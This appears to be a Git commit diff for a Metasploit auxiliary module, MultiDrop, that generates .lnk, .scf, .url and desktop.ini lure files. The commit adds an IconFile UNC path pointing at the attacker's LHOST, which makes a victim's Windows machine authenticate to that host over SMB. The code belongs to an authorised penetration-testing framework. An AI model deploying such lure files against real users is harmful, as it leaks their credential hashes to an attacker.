Land #10157, Add IconFile path to .URL files generated with MultiDrop
parent
f5e83d7542
commit
60a9e08cdc
|
@ -35,7 +35,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
[
|
[
|
||||||
OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
|
OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
|
||||||
OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, desktop.ini", "word.lnk"]),
|
OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, desktop.ini", "word.lnk"]),
|
||||||
|
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -49,10 +48,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
elsif datastore['FILENAME'].chars.last(3).join=="url"
|
elsif datastore['FILENAME'].chars.last(3).join=="url"
|
||||||
create_url
|
create_url
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def createlnk
|
def createlnk
|
||||||
#Code below taken from module droplnk.rb written by Mubix
|
#Code below taken from module droplnk.rb written by Mubix
|
||||||
lnk = ""
|
lnk = ""
|
||||||
|
@ -129,13 +126,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
ini << "IconIndex=1337"
|
ini << "IconIndex=1337"
|
||||||
|
|
||||||
file_create(ini)
|
file_create(ini)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def create_url
|
def create_url
|
||||||
url=""
|
url=""
|
||||||
url << "[InternetShortcut]\n"
|
url << "[InternetShortcut]\n"
|
||||||
url << "URL=file://#{datastore['LHOST']}/url.html"
|
url << "URL=file://#{datastore['LHOST']}/url.html\n"
|
||||||
|
url << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n"
|
||||||
|
|
||||||
file_create(url)
|
file_create(url)
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue